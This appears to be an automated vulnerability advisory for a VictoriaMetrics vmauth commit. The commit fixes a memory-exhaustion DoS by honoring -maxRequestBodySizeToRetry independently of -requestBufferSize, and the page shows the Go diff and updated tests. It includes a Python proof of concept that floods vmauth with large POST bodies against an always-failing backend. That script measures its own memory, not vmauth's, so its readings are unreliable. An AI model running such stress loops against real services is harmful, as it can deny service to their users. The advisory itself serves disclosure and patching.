Resource exhaustion / DoS via in-memory buffering and retries

MEDIUM

victoriametrics/victoriametrics

Commit: 90c989275724

Affected: < 1.139.0

2026-05-07 11:16 UTC

Description

The commit fixes a DoS/resource exhaustion risk in app/vmauth by decoupling request buffering from the retry cap. Before this change, the maximum request body size to retry (-maxRequestBodySizeToRetry) and the in-memory request buffering size (-requestBufferSize) were effectively coupled via a “larger of the two” policy. This meant that attempting to disable retries (e.g., maxRequestBodySizeToRetry=0) could be ineffective if requestBufferSize was non-zero, potentially allowing large request bodies to be buffered in memory and retried across backends, leading to uncontrolled memory growth under load. The patch updates the buffering/retry logic (canRetry) to honor the -maxRequestBodySizeToRetry limit independently of -requestBufferSize and ensures retry capability is controlled by the explicit maxRequestBodySizeToRetry value. It also updates tests to cover scenarios where retries can be disabled regardless of buffering configuration. This mitigates a DoS/vector where a client could cause excessive in-memory buffering and retries.

Proof of Concept

PoC outline (controlled lab only):

Goal: Demonstrate that, prior to this fix, configuring a non-zero requestBufferSize with maxRequestBodySizeToRetry=0 could still allow buffering/retries (DoS). The fix decouples these settings; a test environment can reproduce memory growth until stability is reached or crash.

Prerequisites (lab only):
- Build/run VictoriaMetrics vmauth from commit 90c98927572404cd35ddd9d408d2f18836366ac8 (or a build including the fix) and run with:
  - -requestBufferSize=1MiB
  - -maxRequestBodySizeToRetry=0
- A backend endpoint that intentionally returns 500 to trigger retries (to observe buffering/retries behavior).

Step 1: Start a backend that returns 500 for POST requests
- Create a tiny Python HTTP server that always responds with HTTP 500 on POST (port 8081).
  Code (backend_500.py):
  ----
  from http.server import BaseHTTPRequestHandler, HTTPServer
  
  class Handler(BaseHTTPRequestHandler):
      def do_POST(self):
          self.send_response(500)
          self.end_headers()
          self.wfile.write(b'error')
  
  if __name__ == '__main__':
      httpd = HTTPServer(('0.0.0.0', 8081), Handler)
      print('Backend 500 listening on :8081')
      httpd.serve_forever()
  ----
- Run: python backend_500.py

Step 2: Start vmauth with buffering enabled and retry cap disabled
- Example (adjust paths as needed):
  ./vmauth -httpListenAddr=:8429 \
           -requestBufferSize=1MiB \
           -maxRequestBodySizeToRetry=0 \
           -backendURLs http://localhost:8081

Step 3: PoC client to stress buffering and retries
- Run a small client that sends large POST bodies repeatedly to vmauth (the vmauth endpoint will read the body to buffer/retry).
- Python PoC (poc_client.py):
  ----
  import urllib.request
  import time
  import sys

  url = 'http://localhost:8429/'  # vmauth endpoint
  payload_size = 512 * 1024  # 512 KiB per request
  payload = b'a' * payload_size
  req = urllib.request.Request(url, data=payload, headers={'Content-Type': 'application/octet-stream'})
  def rss_kb():
      try:
          with open('/proc/self/status','r') as f:
              for line in f:
                  if line.startswith('VmRSS:'):
                      return int(line.split()[1])  # kB
      except Exception:
          return -1
      return -1

  baseline = rss_kb()
  print('Baseline RSS (kB):', baseline)
  i = 0
  max_iters = 200
  while i < max_iters:
      try:
          with urllib.request.urlopen(req, timeout=5) as resp:
              resp.read(1)
      except Exception as e:
          print('Request failed at iteration', i, e)
      cur = rss_kb()
      print('Iter', i, 'RSS(kB):', cur)
      if cur != -1 and baseline > 0 and cur > baseline + 200*1024/1024:  # rough 200MB threshold in kB (approx)
          print('Notice: significant memory growth observed.')
      i += 1
      time.sleep(0.1)
  ----
- Run: python poc_client.py

Notes:
- If the environment exposes the DoS vulnerability (pre-fix behavior), you should observe memory usage increasing over time during the PoC due to buffering and retries when maxRequestBodySizeToRetry=0 and requestBufferSize is non-zero. With the fix, the canRetry logic should respect the explicit maxRequestBodySizeToRetry and avoid retries when it is 0, regardless of requestBufferSize.
- This PoC is intended for a controlled lab and should not be run against production systems.

Commit Details

Author: andriibeee

Date: 2026-05-07 10:42 UTC

Message:

app/vmauth: honor -maxRequestBodySizeToRetry independently of -requestBufferSize (#10882)

This PR makes vmauth honor `-maxRequestBodySizeToRetry` regardless of `-requestBufferSize`. Previously the larger of the two was used, so the retry could not be disabled by setting `-maxRequestBodySizeToRetry=0`, `-requestBufferSize` has to be set to zero too. 

Fixes https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10857
PR https://github.com/VictoriaMetrics/VictoriaMetrics/pull/10882

---------

Co-authored-by: Max Kotliar <mkotlyar@victoriametrics.com>

Triage Assessment

Vulnerability Type: Resource exhaustion / DoS

Confidence: MEDIUM

Reasoning:

The change ensures that enabling/disabling request body buffering and retries is decoupled, allowing a hard cap on in-memory buffering and potential retries regardless of requestBufferSize. This mitigates a DoS/resource exhaustion risk where large request bodies could be buffered and retried unintentionally due to coupling, by allowing -maxRequestBodySizeToRetry to disable retries independently. The tests exercises scenarios around disabling retries, indicating security-relevant mitigation of uncontrolled buffering/retries.

Verification Assessment

Vulnerability Type: Resource exhaustion / DoS via in-memory buffering and retries

Confidence: MEDIUM

Affected Versions: < 1.139.0

Code Diff

diff --git a/app/vmauth/main.go b/app/vmauth/main.go
index ea3af5264607b..82a9909624afa 100644
--- a/app/vmauth/main.go
+++ b/app/vmauth/main.go
@@ -51,7 +51,7 @@ var (
 		"This allows reducing the consumption of backend resources when processing requests from clients connected via slow networks. "+
 		"Set to 0 to disable request buffering. See https://docs.victoriametrics.com/victoriametrics/vmauth/#request-body-buffering")
 	maxRequestBodySizeToRetry = flagutil.NewBytes("maxRequestBodySizeToRetry", 16*1024, "The maximum request body size to buffer in memory for potential retries at other backends. "+
-		"Request bodies larger than this size cannot be retried if the backend fails. Zero or negative value disables request body buffering and retries. "+
+		"Request bodies larger than this size cannot be retried if the backend fails. Zero or negative value disables retries. "+
 		"See also -requestBufferSize")
 
 	maxConcurrentRequests = flag.Int("maxConcurrentRequests", 1000, "The maximum number of concurrent requests vmauth can process simultaneously. "+
@@ -850,14 +850,18 @@ func (bb *bufferedBody) Read(p []byte) (int, error) {
 }
 
 func (bb *bufferedBody) canRetry() bool {
-	return bb.r == nil
+	if bb.r != nil {
+		return false
+	}
+	maxRetrySize := maxRequestBodySizeToRetry.IntN()
+	return len(bb.buf) == 0 || (maxRetrySize > 0 && len(bb.buf) <= maxRetrySize)
 }
 
 // Close implements io.Closer interface.
 func (bb *bufferedBody) Close() error {
 	bb.resetReader()
+	bb.cannotRetry = !bb.canRetry()
 	if bb.r != nil {
-		bb.cannotRetry = true
 		return bb.r.Close()
 	}
 	return nil

diff --git a/app/vmauth/main_test.go b/app/vmauth/main_test.go
index 90c7ed9091105..ed5cf034cd0d8 100644
--- a/app/vmauth/main_test.go
+++ b/app/vmauth/main_test.go
@@ -19,6 +19,7 @@ import (
 	"os"
 	"path/filepath"
 	"sort"
+	"strconv"
 	"strings"
 	"sync/atomic"
 	"testing"
@@ -1831,7 +1832,7 @@ func (r *mockBody) Read(p []byte) (n int, err error) {
 }
 
 func TestBufferedBody_RetrySuccess(t *testing.T) {
-	f := func(s string, maxBodySize int) {
+	f := func(s string, maxSizeToRetry, bufferSize int) {
 		t.Helper()
 
 		defaultRequestBufferSize := requestBufferSize.String()
@@ -1840,7 +1841,7 @@ func TestBufferedBody_RetrySuccess(t *testing.T) {
 				t.Fatalf("cannot reset requestBufferSize: %s", err)
 			}
 		}()
-		if err := requestBufferSize.Set(fmt.Sprintf("%d", maxBodySize)); err != nil {
+		if err := requestBufferSize.Set(strconv.Itoa(bufferSize)); err != nil {
 			t.Fatalf("cannot set requestBufferSize: %s", err)
 		}
 
@@ -1850,7 +1851,7 @@ func TestBufferedBody_RetrySuccess(t *testing.T) {
 				t.Fatalf("cannot reset maxRequestBodySizeToRetry: %s", err)
 			}
 		}()
-		if err := maxRequestBodySizeToRetry.Set("0"); err != nil {
+		if err := maxRequestBodySizeToRetry.Set(strconv.Itoa(maxSizeToRetry)); err != nil {
 			t.Fatalf("cannot set maxRequestBodySizeToRetry: %s", err)
 		}
 
@@ -1879,16 +1880,20 @@ func TestBufferedBody_RetrySuccess(t *testing.T) {
 		}
 	}
 
-	f("", 0)
-	f("", -1)
-	f("", 100)
-	f("foo", 100)
-	f("foobar", 100)
-	f(newTestString(1000), 1001)
+	f("", 0, 2000)
+	f("", 0, 0)
+	f("", -1, 2000)
+	f("", 100, 2000)
+	f("foo", 100, 2000)
+	f("foobar", 100, 2000)
+	f("foobar", 100, 0)
+	f("foobar", 100, -1)
+	f(newTestString(1000), 1001, 2000)
+	f(newTestString(1000), 1001, 500)
 }
 
 func TestBufferedBody_RetrySuccessPartialRead(t *testing.T) {
-	f := func(s string, maxBodySize int) {
+	f := func(s string, maxSizeToRetry, bufferSize int) {
 		t.Helper()
 
 		// Check the case with partial read
@@ -1898,7 +1903,7 @@ func TestBufferedBody_RetrySuccessPartialRead(t *testing.T) {
 				t.Fatalf("cannot reset requestBufferSize: %s", err)
 			}
 		}()
-		if err := requestBufferSize.Set(fmt.Sprintf("%d", maxBodySize)); err != nil {
+		if err := requestBufferSize.Set(strconv.Itoa(bufferSize)); err != nil {
 			t.Fatalf("cannot set requestBufferSize: %s", err)
 		}
 
@@ -1908,7 +1913,7 @@ func TestBufferedBody_RetrySuccessPartialRead(t *testing.T) {
 				t.Fatalf("cannot reset maxRequestBodySizeToRetry: %s", err)
 			}
 		}()
-		if err := maxRequestBodySizeToRetry.Set("0"); err != nil {
+		if err := maxRequestBodySizeToRetry.Set(strconv.Itoa(maxSizeToRetry)); err != nil {
 			t.Fatalf("cannot set maxRequestBodySizeToRetry: %s", err)
 		}
 
@@ -1952,16 +1957,20 @@ func TestBufferedBody_RetrySuccessPartialRead(t *testing.T) {
 		}
 	}
 
-	f("", 0)
-	f("", -1)
-	f("", 100)
-	f("foo", 100)
-	f("foobar", 100)
-	f(newTestString(1000), 1001)
+	f("", 0, 2000)
+	f("", 0, 0)
+	f("", -1, 2000)
+	f("", 100, 2000)
+	f("foo", 100, 2000)
+	f("foobar", 100, 2000)
+	f("foobar", 100, 0)
+	f("foobar", 100, -1)
+	f(newTestString(1000), 1001, 2000)
+	f(newTestString(1000), 1001, 500)
 }
 
 func TestBufferedBody_RetryFailureTooBigBody(t *testing.T) {
-	f := func(s string, maxBodySize int) {
+	f := func(s string, maxSizeToRetry, bufferSize int) {
 		t.Helper()
 
 		defaultRequestBufferSize := requestBufferSize.String()
@@ -1970,7 +1979,7 @@ func TestBufferedBody_RetryFailureTooBigBody(t *testing.T) {
 				t.Fatalf("cannot reset requestBufferSize: %s", err)
 			}
 		}()
-		if err := requestBufferSize.Set("0"); err != nil {
+		if err := requestBufferSize.Set(strconv.Itoa(bufferSize)); err != nil {
 			t.Fatalf("cannot set requestBufferSize: %s", err)
 		}
 
@@ -1980,7 +1989,7 @@ func TestBufferedBody_RetryFailureTooBigBody(t *testing.T) {
 				t.Fatalf("cannot reset maxRequestBodySizeToRetry: %s", err)
 			}
 		}()
-		if err := maxRequestBodySizeToRetry.Set(fmt.Sprintf("%d", maxBodySize)); err != nil {
+		if err := maxRequestBodySizeToRetry.Set(strconv.Itoa(maxSizeToRetry)); err != nil {
 			t.Fatalf("cannot set maxRequestBodySizeToRetry: %s", err)
 		}
 
@@ -2025,12 +2034,17 @@ func TestBufferedBody_RetryFailureTooBigBody(t *testing.T) {
 	}
 
 	const maxBodySize = 1000
-	f(newTestString(maxBodySize+1), maxBodySize)
-	f(newTestString(2*maxBodySize), maxBodySize)
+	f(newTestString(maxBodySize+1), 0, 2*maxBodySize)
+	f(newTestString(maxBodySize+1), -1, 2*maxBodySize)
+	f(newTestString(maxBodySize+1), maxBodySize, 0)
+	f(newTestString(maxBodySize+1), maxBodySize, -1)
+	f(newTestString(maxBodySize+1), maxBodySize, maxBodySize)
+	f(newTestString(maxBodySize+1), maxBodySize, 2*maxBodySize)
+	f(newTestString(2*maxBodySize), maxBodySize, 0)
 }
 
-func TestBufferedBody_RetryFailureZeroOrNegativeMaxBodySize(t *testing.T) {
-	f := func(s string, maxBodySize int) {
+func TestBufferedBody_RetryDisabledByMaxRequestBodySizeToRetry(t *testing.T) {
+	f := func(s string, maxSizeToRetry, bufferSize int) {
 		t.Helper()
 
 		defaultRequestBufferSize := requestBufferSize.String()
@@ -2039,10 +2053,20 @@ func TestBufferedBody_RetryFailureZeroOrNegativeMaxBodySize(t *testing.T) {
 				t.Fatalf("cannot reset requestBufferSize: %s", err)
 			}
 		}()
-		if err := requestBufferSize.Set(fmt.Sprintf("%d", maxBodySize)); err != nil {
+		if err := requestBufferSize.Set(strconv.Itoa(bufferSize)); err != nil {
 			t.Fatalf("cannot set requestBufferSize: %s", err)
 		}
 
+		defaultMaxRequestBodySizeToRetry := maxRequestBodySizeToRetry.String()
+		defer func() {
+			if err := maxRequestBodySizeToRetry.Set(defaultMaxRequestBodySizeToRetry); err != nil {
+				t.Fatalf("cannot reset maxRequestBodySizeToRetry: %s", err)
+			}
+		}()
+		if err := maxRequestBodySizeToRetry.Set(strconv.Itoa(maxSizeToRetry)); err != nil {
+			t.Fatalf("cannot set maxRequestBodySizeToRetry: %s", err)
+		}
+
 		ctx := context.Background()
 		rb, err := bufferRequestBody(ctx, io.NopCloser(bytes.NewBufferString(s)), "foo")
 		if err != nil {
@@ -2051,8 +2075,8 @@ func TestBufferedBody_RetryFailureZeroOrNegativeMaxBodySize(t *testing.T) {
 		bb, ok := rb.(*bufferedBody)
 		canRetry := !ok || bb.canRetry()
 
-		if !canRetry {
-			t.Fatalf("canRetry() must return true before reading anything")
+		if canRetry {
+			t.Fatalf("canRetry() must return false before reading anything")
 		}
 		data, err := io.ReadAll(rb)
 		if err != nil {
@@ -2066,19 +2090,19 @@ func TestBufferedBody_RetryFailureZeroOrNegativeMaxBodySize(t *testing.T) {
 		}
 
 		data, err = io.ReadAll(rb)
-		if err != nil {
-			t.Fatalf("unexpected error in io.ReadAll: %s", err)
+		if err == nil {
+			t.Fatalf("expecting non-nil error")
 		}
-		if string(data) != s {
-			t.Fatalf("unexpected data read\ngot\n%s\nwant\n%s", data, s)
+		if len(data) != 0 {
+			t.Fatalf("unexpected non-empty data read: %q", data)
 		}
 	}
 
-	f("foobar", 0)
-	f(newTestString(1000), 0)
+	f("foobar", 0, 2048)
+	f(newTestString(1000), 0, 2048)
 
-	f("foobar", -1)
-	f(newTestString(1000), -1)
+	f("foobar", -1, 2048)
+	f(newTestString(1000), -1, 2048)
 }
 
 func newTestString(sLen int) string {

← Back to Alerts View on GitHub →